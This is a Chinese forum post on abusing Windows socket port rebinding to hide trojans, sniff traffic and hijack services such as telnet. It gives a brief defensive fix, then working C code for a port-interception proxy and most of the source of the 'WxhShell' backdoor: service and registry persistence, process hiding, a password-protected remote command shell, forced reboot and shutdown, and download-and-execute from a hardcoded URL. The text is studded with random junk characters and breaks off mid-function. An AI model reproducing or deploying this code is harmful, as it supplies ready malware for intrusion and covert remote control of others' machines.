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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J 21D/#v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SLL%XF~/Sb  
H'E >QT  
  saddr.sin_family = AF_INET; &j,rq?eh$  
zxtx~XO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  = uZ[  
}"<|.[V)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BF2,E<^A  
 KAmv7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 udDhJ?  
<8[BB7  
  这意味着什么?意味着可以进行如下的攻击: 2JZf@x+}  
-cCujDM#T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ql> DS~a  
(b Q1,y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~#dNGWwG  
S*6P=O*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _|xO4{X  
+qe!KPk2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _*1/4^  
<8p53*a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 , gk49z9  
D[m;rcl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p5c^dC{   
!CROc}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3qPj+@  
AoL4#.r3H  
  #include ywpk\  
  #include gvO}u2.:  
  #include v`MCV29!}  
  #include    n4+l, ~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NH$a:>  
  int main()  Q0' xn  
  { 1`N q K  
  WORD wVersionRequested; _6&x$ *O  
  DWORD ret; jpZ, $  
  WSADATA wsaData; |B njT*_9  
  BOOL val; 7jT]J   
  SOCKADDR_IN saddr; Ln0rm9FV-  
  SOCKADDR_IN scaddr; LY[XPV]t  
  int err; quHq?oXV,  
  SOCKET s; * VH!<k[n  
  SOCKET sc; 2J =K\ L  
  int caddsize; nVV>;e[  
  HANDLE mt; mOr>*uR  
  DWORD tid;   XP<wHh  
  wVersionRequested = MAKEWORD( 2, 2 ); L8N`<a5T  
  err = WSAStartup( wVersionRequested, &wsaData ); `:!mPNW#  
  if ( err != 0 ) { 6wx;grt'Z  
  printf("error!WSAStartup failed!\n"); twU^ewO&  
  return -1; jKZJ0`06q  
  } Ub*Gv(Pg  
  saddr.sin_family = AF_INET; -! Hn,93  
   @dQIl#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 * F%Wf  
4G0Er?D   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _eM\ /(v[  
  saddr.sin_port = htons(23); 1GKd*z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IlJ6&9  
  { wq!Gj]B  
  printf("error!socket failed!\n"); ,j^ /~  
  return -1; a}ogNx  
  } k'{'6JR  
  val = TRUE; x?Doe`/6?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ciVN-;vi  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m8;; O  
  { ik)T>rYg0  
  printf("error!setsockopt failed!\n"); 0P^RciC f  
  return -1; 6=s!~  
  } w~hO)1c],:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T;qP"KWZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SYRr|Lg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yKF"\^`@  
@9g$+_"ZT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P:vAU8d>  
  { z^+f3-Z  
  ret=GetLastError(); dO}6zQ\  
  printf("error!bind failed!\n"); Nw[TP G5  
  return -1; GZ,`?  
  } %!I7tR#;  
  listen(s,2); &^Q-:Kxs8  
  while(1) hRTw8-wy:  
  { Tt #4dm-  
  caddsize = sizeof(scaddr); E|Mu1I]e  
  //接受连接请求 L,c@Z@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WzZ<ZCHm  
  if(sc!=INVALID_SOCKET) o^FlQy\  
  { /MYl:>e>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [E<NEl *  
  if(mt==NULL) O_}R~p  
  { "1|n]0BF  
  printf("Thread Creat Failed!\n"); 0w9)#e+JS  
  break; =aZgq99  
  } Uo?g@D  
  } X c~yr\%]  
  CloseHandle(mt); \Fg%V>  
  } ewHk (ru  
  closesocket(s); 4\ R2\  
  WSACleanup(); /ap3>xkt  
  return 0; N\{Xhr7d  
  }   /W\@/b,  
  DWORD WINAPI ClientThread(LPVOID lpParam) &{E1w<uv  
  { l#u$w&  
  SOCKET ss = (SOCKET)lpParam; =p~k5k4  
  SOCKET sc; Qc1NLU9:  
  unsigned char buf[4096]; c-1,((p  
  SOCKADDR_IN saddr; j=b?WNK  
  long num; ScOiOz:Ha  
  DWORD val; VbX+`CwH  
  DWORD ret; A) {q 7WI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >tc#Ofgzd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _wMxKM  
  saddr.sin_family = AF_INET; &$$KC?!w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WjLy7&  
  saddr.sin_port = htons(23); r ,I';vm<`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E;m]RtvH  
  { -Uj)6PzGu  
  printf("error!socket failed!\n"); W;%$7&+0  
  return -1; qj|P0N{7  
  } SQ&nQzL  
  val = 100;  *-Y`7=^$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z OwKh>]  
  { -;]m4R)z  
  ret = GetLastError(); b>g&Pf#N!  
  return -1; pY@$N&+W  
  } zv[$ N,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v'3.`aZ!  
  { WEy$SN+P  
  ret = GetLastError(); E%Tpby}^'  
  return -1; aia`mO]  
  } _yx~t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2IMU &  
  { 3XykIj1  
  printf("error!socket connect failed!\n"); ` mvPbZ0<  
  closesocket(sc); 0 PdeK'7  
  closesocket(ss); j'L/eps?S  
  return -1; |w; hu]  
  } &.W,Hh  
  while(1) ?XCFR t,ol  
  { s"OP[YEke/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1f}YKT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 287g 5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4)Jtc2z7Z\  
  num = recv(ss,buf,4096,0); *Wbs{>&No  
  if(num>0) zEM  c)  
  send(sc,buf,num,0); Q]h.{nN#PK  
  else if(num==0) J!{"^^*  
  break; ,s ` y  
  num = recv(sc,buf,4096,0); 1`6kc9f.  
  if(num>0) ws/e~ T<c  
  send(ss,buf,num,0); 5;v_?M!UCK  
  else if(num==0) QK~44;LVIJ  
  break; S7!+8$2mc_  
  } TEJn;D<1I,  
  closesocket(ss); L i g7Ac,  
  closesocket(sc); qb$&BZj]|  
  return 0 ; bF2RP8?en  
  } y<9' 3\  
D;1?IeS  
Ow" e3]}Mt  
========================================================== 1>yh`Bp\=  
bm>N~DC  
下边附上一个代码,,WXhSHELL w]@H]>sHd  
^U q%-a  
========================================================== KIRCye  
X&LaAqlSG  
#include "stdafx.h" lwSZ pS  
xF8U )j !  
#include <stdio.h> ^5'pJ/BV  
#include <string.h> N4HIQ\p  
#include <windows.h> cy-o@U"s8  
#include <winsock2.h> ?d!*[Ke8  
#include <winsvc.h> "1P[D'HV4|  
#include <urlmon.h> PEr &|H2  
B}(r>8?dm  
#pragma comment (lib, "Ws2_32.lib") `{KdmWhW  
#pragma comment (lib, "urlmon.lib") IgIM8"N  
OA7YWk<K  
#define MAX_USER   100 // 最大客户端连接数 L*6R5i>  
#define BUF_SOCK   200 // sock buffer b)+;=o%  
#define KEY_BUFF   255 // 输入 buffer FG:t2ea  
c 80Ffq  
#define REBOOT     0   // 重启 u~xfI[8C  
#define SHUTDOWN   1   // 关机 <da-iY\5  
eae`#>XP  
#define DEF_PORT   5000 // 监听端口 _|Uv7>}J^  
Y&uwi:_g  
#define REG_LEN     16   // 注册表键长度 ;;|o+4Ob;  
#define SVC_LEN     80   // NT服务名长度 c4f3Dr'xw  
wi/qI(O!  
// 从dll定义API >d3`\(v-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5i@WBa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y3 "+4e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v]GQb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \1He9~6  
r!<)CT}D  
// wxhshell配置信息 L`"j> ),  
struct WSCFG { aizJ&7(>  
  int ws_port;         // 监听端口 gy`WBg(7x  
  char ws_passstr[REG_LEN]; // 口令 OQ&'3hv{  
  int ws_autoins;       // 安装标记, 1=yes 0=no |}o6N5)  
  char ws_regname[REG_LEN]; // 注册表键名 m9=93W?   
  char ws_svcname[REG_LEN]; // 服务名 cC*H.N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L,O.XR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /UqIkc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M <nH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xqy9D ZIn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (PC)R9r5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r i/CLq^D  
9i46u20  
}; ]7{ e~U  
*{("T  
// default Wxhshell configuration +-!2nk`"a  
struct WSCFG wscfg={DEF_PORT, r>ag( ^J\  
    "xuhuanlingzhe", D JZ$M  
    1, vD^Uod1  
    "Wxhshell", `]=0oDG:1!  
    "Wxhshell", Ys0N+  
            "WxhShell Service", ?J@P0(M#  
    "Wrsky Windows CmdShell Service", | Rj"}SC  
    "Please Input Your Password: ", hCb2<_3CR  
  1, gW-mXb  
  "http://www.wrsky.com/wxhshell.exe", Mi} .  
  "Wxhshell.exe" (h|E@gRa  
    }; xpp>5d !  
 u]OYu  
// 消息定义模块 1+#E|YWJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #}lWM%9Dy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {kghZur  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j}O7fLRu  
char *msg_ws_ext="\n\rExit."; M0$_x~  
char *msg_ws_end="\n\rQuit."; >QdT 7gB  
char *msg_ws_boot="\n\rReboot..."; 6HZVBZhM  
char *msg_ws_poff="\n\rShutdown..."; t,u;"%go  
char *msg_ws_down="\n\rSave to "; Nt|Fw$3*5{  
"r~/E|Da<  
char *msg_ws_err="\n\rErr!"; dJe 3DW :  
char *msg_ws_ok="\n\rOK!"; :'FCeS9  
X"sJiFS  
char ExeFile[MAX_PATH]; 7h.fT`  
int nUser = 0; 8O_yZ ~Z4  
HANDLE handles[MAX_USER]; [V_+/[AA)  
int OsIsNt; CFUn1^?0  
fDRG+/q(+  
SERVICE_STATUS       serviceStatus; [tRb{JsUd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '6cXCO-_P  
<.2jQ#So  
// 函数声明 -ykD/  
int Install(void); ]_j= { 0%  
int Uninstall(void); B3<sSe8L0  
int DownloadFile(char *sURL, SOCKET wsh); <Uc  
int Boot(int flag);  \EXa 9X2  
void HideProc(void); fB 0X9iV6j  
int GetOsVer(void); pqTaN=R8  
int Wxhshell(SOCKET wsl); dQz#&&s-  
void TalkWithClient(void *cs); {:|b,ep T  
int CmdShell(SOCKET sock); 4hxa|f  
int StartFromService(void); cbYQ';{  
int StartWxhshell(LPSTR lpCmdLine); gquvVj1oT  
TT no  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]:;dJc'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ExM VGe  
G+2 ,x0(  
// 数据结构和表定义 H:P7G_!\  
SERVICE_TABLE_ENTRY DispatchTable[] = ~uV(/?o%  
{ /|lAxAm?  
{wscfg.ws_svcname, NTServiceMain}, eL<jA9cJ9  
{NULL, NULL} "lrQC`?  
}; *^w}SE(  
%@:6&  
// 自我安装 7%W1M@  
int Install(void) i5=~tS  
{ JL>frS3M  
  char svExeFile[MAX_PATH]; ~ToU._  
  HKEY key; 2C1NDrS;}  
  strcpy(svExeFile,ExeFile); :[CEHRc7x  
M ziOpraj  
// 如果是win9x系统,修改注册表设为自启动 )TEm1\  
if(!OsIsNt) { 1=,y +Xpw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yep~C %/}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `H 'wz7  
  RegCloseKey(key); MMUlA$*t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d"n"A?nXh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]1pB7XL  
  RegCloseKey(key); LlS~J K  
  return 0; IT)3Et@Y  
    } <s7cCpUFP  
  } S;y4Z:!  
} !.-u'6e  
else { N:okt)q:%  
B,&QI&k`~  
// 如果是NT以上系统,安装为系统服务 mYj)![  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AW E ab  
if (schSCManager!=0) MTN*{ug2:  
{ lD, ~%  
  SC_HANDLE schService = CreateService jE wt1S V  
  ( :`E p#[Wvo  
  schSCManager, [ [w |  
  wscfg.ws_svcname, 1;DRcVyS+  
  wscfg.ws_svcdisp, }%-iJ\  
  SERVICE_ALL_ACCESS, *G7cF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2gZ nrU  
  SERVICE_AUTO_START, Dx`-h#  
  SERVICE_ERROR_NORMAL, ~ rQ,%dH  
  svExeFile, (Q @'fb9z  
  NULL, (KwC,0p  
  NULL, 2P)O 0j\/  
  NULL, h5pfmN\-5  
  NULL, 3kk^hvB+f  
  NULL *nHuGla  
  ); K[ [6A:  
  if (schService!=0) ~%C F3?e6  
  { t=xEUOQAn  
  CloseServiceHandle(schService); M0~%[nX  
  CloseServiceHandle(schSCManager); qv}ECQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \gB ~0@[\7  
  strcat(svExeFile,wscfg.ws_svcname); @K+gh#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?Pp*BB,*y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k].swvIi  
  RegCloseKey(key); K!.t}s.t  
  return 0; "bDj 00nwh  
    } d6 ef)mw  
  } _ilitwRN3  
  CloseServiceHandle(schSCManager); dS3\P5D.*c  
} Je6wio- 4  
} jU7[z$GX  
# =tw ,S  
return 1; ;>f\fhi'  
} 9Li*L&B)  
lux g1>  
// 自我卸载 =JgR c7  
int Uninstall(void) VgODv  
{ -egnMc67  
  HKEY key; F]PsS(  
gwQMy$  
if(!OsIsNt) { $Seh4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Btm _S\1  
  RegDeleteValue(key,wscfg.ws_regname); 83SK<V6  
  RegCloseKey(key); <Q/)SN6_E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ul9^"o  
  RegDeleteValue(key,wscfg.ws_regname); X-_VuM_p  
  RegCloseKey(key); op5 `#{  
  return 0; r A(A$VR  
  } Zfcf?&><  
} ~F@n `!c  
} LUId<We  
else { !cYID \}S,  
7/51_=%kR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 77yYdil^W+  
if (schSCManager!=0) Wm`*IBWA  
{ ^@O 7d1&y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D|*w6p("z  
  if (schService!=0) 8K-P]]  
  { ?z#*eoPr  
  if(DeleteService(schService)!=0) { NRJp8G Z%U  
  CloseServiceHandle(schService); g.@[mf0r  
  CloseServiceHandle(schSCManager); gqy>;A:kO  
  return 0; $zp|()_  
  } uJ -$i  
  CloseServiceHandle(schService); xh$yXP0/  
  } )Yy5u'}  
  CloseServiceHandle(schSCManager); XLCqB|8`V  
} k[ zyR  
} U364'O8_  
|cY,@X,X6  
return 1; qb=2J5su  
} (,#m+  
,++HiYOG}e  
// 从指定url下载文件 5rB>)p05[  
int DownloadFile(char *sURL, SOCKET wsh) 9QXsbd6  
{ Cm)TFh6  
  HRESULT hr; anbw\yh8  
char seps[]= "/"; jaodcT0  
char *token; =3QhGFd  
char *file;  ^AaE$G&:  
char myURL[MAX_PATH]; 6,q_ M(;c  
char myFILE[MAX_PATH]; /~w*)e)  
V~j^   
strcpy(myURL,sURL); O}Pqbx&  
  token=strtok(myURL,seps); H Eq{TUTr  
  while(token!=NULL) `x/i1^/_@  
  { ah,f~.X_|  
    file=token; g:)iEw>a  
  token=strtok(NULL,seps); lWj*tnnn[  
  } 03v+eT  
<i</pA  
GetCurrentDirectory(MAX_PATH,myFILE); F+(S-Qk1  
strcat(myFILE, "\\"); FsJk"$}  
strcat(myFILE, file); (~N?kh:  
  send(wsh,myFILE,strlen(myFILE),0); M-i3_H)  
send(wsh,"...",3,0); bKM*4M=k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); re[5lFQ~Z  
  if(hr==S_OK) trwQ@7  
return 0; )~=8Ssu  
else 5H XF3  
return 1; F<g&t|@  
_MTZuhY  
} c86KDEF  
?8H{AuLB  
// 系统电源模块 }i"[5:  
int Boot(int flag) GJcxqgk$  
{ M9R'ONYAa  
  HANDLE hToken; xH:L6K/c  
  TOKEN_PRIVILEGES tkp; yjL+1_"B  
">. k 6Q  
  if(OsIsNt) { {24>&<p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EGt 50  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HL4=P,'  
    tkp.PrivilegeCount = 1; GWuKDq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OS@uGp=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z3{1`"\<K  
if(flag==REBOOT) { L5I!YP#v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jk>vn+q8P^  
  return 0; U[x$QG6m!  
} E,.PT^au  
else { TYGI f4z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %_5#2a  
  return 0; 7yyX8p>  
} C_Q3^mLx  
  } T,9q~*"  
  else { ?s$d("~  
if(flag==REBOOT) { &Ril[siw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (@XQ]S}L  
  return 0; WyatHC   
} e`g+Jf`AT  
else { }Mt)57rU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |8CxMs  
  return 0; T{Xd>  
} }wiyEVAh{  
} R;Dj70g  
46D`h!7L  
return 1; d%0Gsga}  
} Cwls e-  
H%Gz"  
// win9x进程隐藏模块 lM4Z7mT /  
void HideProc(void) rIFW1`N}i  
{ p =nbsS~":  
$aJ6i7C,j}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 85G-`T  
  if ( hKernel != NULL ) ]>(pj9)  
  { |D-[M_T5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )S+fc=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E&kv4,  
    FreeLibrary(hKernel); N`efLOMl]  
  } 41Q 5%2  
ZtO$kK%q;  
return; a r8iuwfZ  
} q( ~rk  
P#V!hfM  
// 获取操作系统版本 ?} 8r h%  
int GetOsVer(void) i \NV<I  
{ g?"QahH G  
  OSVERSIONINFO winfo; Z C01MDIY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #&kj>   
  GetVersionEx(&winfo); LJ <pE;`d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >Vt2@Ee  
  return 1; 0ex.~S_Oj4  
  else  :2nsi4  
  return 0; %f&Y=  
} wO%lM  
-)(=~|,Pq/  
// 客户端句柄模块 $|g1 _;(G  
int Wxhshell(SOCKET wsl) 7u&l]NC?y  
{ 2k<#e2  
  SOCKET wsh; M]6+s`?r  
  struct sockaddr_in client; i!}k5k*Z  
  DWORD myID; }ZVond$y4  
3ArHaAv{y  
  while(nUser<MAX_USER) GgY8\>u  
{ [pTdeg;QE  
  int nSize=sizeof(client); b]z_2h~`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =QVkY7  
  if(wsh==INVALID_SOCKET) return 1; 7P3pjgh  
+_fFRyu>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 34!.5^T  
if(handles[nUser]==0) ~wuCa!!A  
  closesocket(wsh); r craf4%  
else o+{,>t  
  nUser++; N,qo/At}R[  
  } w~v6=^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F hUi{`  
|#o' =whTl  
  return 0; {H[N|\  
} mM&P&mz/D  
_1E c54D  
// 关闭 socket QGfwvFm  
void CloseIt(SOCKET wsh) Ty&1R?  
{ ~{lb`M^]h  
closesocket(wsh); jw{N#QDh  
nUser--; 4!{lySW  
ExitThread(0); 9dA+#;?  
} {7m2vv?Z  
sc+%v1Y#}  
// 客户端请求句柄 + GQ{{B  
void TalkWithClient(void *cs) ^yB]_*WJ  
{ id9QfJ9t  
PI%l  
  SOCKET wsh=(SOCKET)cs; u]NsCHKlT  
  char pwd[SVC_LEN]; gq+0t  
  char cmd[KEY_BUFF]; K_L7a>Fr  
char chr[1]; &j:prc[W  
int i,j; KDEyVYO:  
y%%VJ}'X!  
  while (nUser < MAX_USER) { -(TC'  
GYQ:G=  
if(wscfg.ws_passstr) { (Z$7;OAI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =JE<oVP8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QEqYqAGzu|  
  //ZeroMemory(pwd,KEY_BUFF); c\o_U9=n  
      i=0; (LTu=1  
  while(i<SVC_LEN) { 6w &<j&V  
KdozB!\  
  // 设置超时 X8Z) W?vu  
  fd_set FdRead; Uzvd*>mv  
  struct timeval TimeOut; v[uVAbfQ  
  FD_ZERO(&FdRead); @uyQH c,V  
  FD_SET(wsh,&FdRead); wT!?.Y)aj  
  TimeOut.tv_sec=8; ku m@cA  
  TimeOut.tv_usec=0; I-!7 EC2{!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xk|a%%O*H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bgE]Wk0  
5(CInl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jm CHwyUK?  
  pwd=chr[0]; 16Ka>=G  
  if(chr[0]==0xd || chr[0]==0xa) { TU_'1  
  pwd=0; =:g\I6'a  
  break; 'vVt^h2  
  } {'zS8  
  i++; 19GF%+L ,  
    } 'Y2$9qy-L  
[7.Num_L  
  // 如果是非法用户,关闭 socket ]g$ky.;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I52nQCXi  
} Zex~ $r  
Pn^:cr|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y]{b4e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XixjdBFP  
&J/!D#  
while(1) { /'{vDxZf R  
3"Oipt+  
  ZeroMemory(cmd,KEY_BUFF); 8 t=H  
Pn4.gabE  
      // 自动支持客户端 telnet标准   ~H\P0G5GA  
  j=0; -]KgLgJ  
  while(j<KEY_BUFF) { aO1.9! <v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )( 3)^/Xz  
  cmd[j]=chr[0]; 5,XEN$^  
  if(chr[0]==0xa || chr[0]==0xd) { a+z>pV|  
  cmd[j]=0; gLt6u|0q  
  break; _s#J\!F  
  } 5KB Z-,  
  j++; |+8rYIms`  
    } uHquJQ4  
0aR.ct%  
  // 下载文件 _gK}Gi?|  
  if(strstr(cmd,"http://")) { ES,JdImZ|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !2AD/dtt   
  if(DownloadFile(cmd,wsh)) A iR#:r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w;$elXP|  
  else [YlRz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BPW.&2?<  
  } hs+)a%A3G  
  else { hH>a{7V   
}L Q%%  
    switch(cmd[0]) { 2IHS)kkT|  
  .DwiIr'  
  // 帮助 L8.A|  
  case '?': { _0naqa!JyH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?-&k?I  
    break; ysp,:)-%G@  
  } Fi+ DG?zu  
  // 安装 s +S6'g--  
  case 'i': { ^`xS| Sq1D  
    if(Install()) &VU^d3gv~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !|VtI$I>x  
    else `TF3Ho\MC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -|#/KKF  
    break; 5<GeAW8ns]  
    } #bGYHN  
  // 卸载 )qX.!&|I  
  case 'r': { L1lDDS#  
    if(Uninstall()) !2B~.!&   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L1` ^M  
    else :1t&>x=T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~<IQe-Q 5  
    break; v^/<2/E"?4  
    } #l) o<Z  
  // 显示 wxhshell 所在路径  ]E :L  
  case 'p': { xZq, kP^  
    char svExeFile[MAX_PATH]; M4 ?>x[Pw  
    strcpy(svExeFile,"\n\r"); :O,,fJ<x.O  
      strcat(svExeFile,ExeFile); HIj:?y  
        send(wsh,svExeFile,strlen(svExeFile),0); XOS^&;  
    break; =dKk #*  
    } [G+@[9hn%  
  // 重启 !f!YMpN  
  case 'b': { &j'k9C2p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IO?a.L:6U  
    if(Boot(REBOOT)) P-^-~/>n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e=jtF"&  
    else { 8PeVHpZ  
    closesocket(wsh); YuoErP=P  
    ExitThread(0); +=L+35M  
    } ga1b%5]v.  
    break; ze+S_{  
    } H`3w=T+I  
  // 关机 TgRG6?#^l  
  case 'd': { HF&d HD2f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X2~KNw  
